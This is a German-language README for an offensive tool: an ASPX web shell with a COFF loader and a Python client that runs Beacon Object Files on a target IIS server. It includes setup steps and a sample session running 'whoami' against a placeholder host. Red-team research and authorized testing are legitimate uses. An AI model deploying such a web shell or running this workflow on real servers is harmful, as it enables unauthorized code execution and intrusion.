epotseluevskaya/aspx_webshell_coffloaderASPX-Web-Shell mit COFF-Loader zur Ausführung von Beacon Object Files (BOFs) auf Zielservern über einen halbinteraktiven Python-Client, entwickelt für autorisierte Penetrationstests.
Basiert auf TrustedSecs CS_COFFLoader
Diese ASPX-Web-Shell ermöglicht die Ausführung von Beacon Object Files (BOFs) auf einem Zielserver mithilfe eines semi-interaktiven Python-Clients.
Sie nutzt eine COFF-Lader-Implementierung, die von TrustedSecs CS_COFFLoader abgeleitet ist.
Dieses Projekt ist ausschließlich für Sicherheitsforschung und autorisierte Penetrationstests gedacht. Durch die Nutzung dieses Projekts erklären Sie sich damit einverstanden, alle geltenden Gesetze und Vorschriften einzuhalten.
Vor der Nutzung müssen Sie:
Kompilieren Sie beacon_compatibility.c von https://github.com/trustedsec/CS_COFFLoader/tree/main/beacon_object und ersetzen Sie den Platzhalter {{BEACON_DATA}} in der ASPX-Datei durch die Base64-kodierte Objektdatei.
Kompilieren Sie Ihre BOFs, z. B. von https://github.com/trustedsec/CS-Situational-Awareness-BOF, und geben Sie im Web-Client den Pfad zum Verzeichnis mit den kompilierten BOFs an.
python3 webshell_bof_client.py http://1.2.3.4/bof.aspx
[*] ASPX Web Shell With COFF Loader Client
[*] Target: http://1.2.3.4/bof.aspx
[*] Beacons: /usr/share/beacons
[*] Type 'help' for available commands.
bof> help
Client for ASPX Web Shell with COFF Loader
Based on TrustedSec's COFFLoader: https://github.com/trustedsec/COFFLoader/tree/main
Author: Eugenie Potseluevskaya
For security research and authorized penetration testing only.
Use strictly on systems you own or have explicit written permission to test.
Unauthorized use is illegal and the author assumes no liability for misuse or damages resulting from this code.
Available commands:
help
Show this message.
list
List available beacons in the beacons directory.
exec <beacon_name> [format_string [arg1 arg2 ...]]
Execute a beacon against the server.
beacon_name Name of the beacon subdirectory.
format_string bof_pack format string (b/i/s/z/Z). Omit if no args needed.
arg1 arg2 ... Arguments matching the format string.
Examples:
exec whoami
exec mybeacon z "hello world"
exec mybeacon zi "some string" 42
exec mybeacon zZ "str1" "widestr"
exit
Quit the client.
bof> exec whoami
[*] Sending 'whoami' (x64) to http://1.2.3.4/bof.aspx ...
── Output ──────────────────────────────────────
UserName SID
====================== ====================================
IIS APPPOOL\DefaultAppPool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
....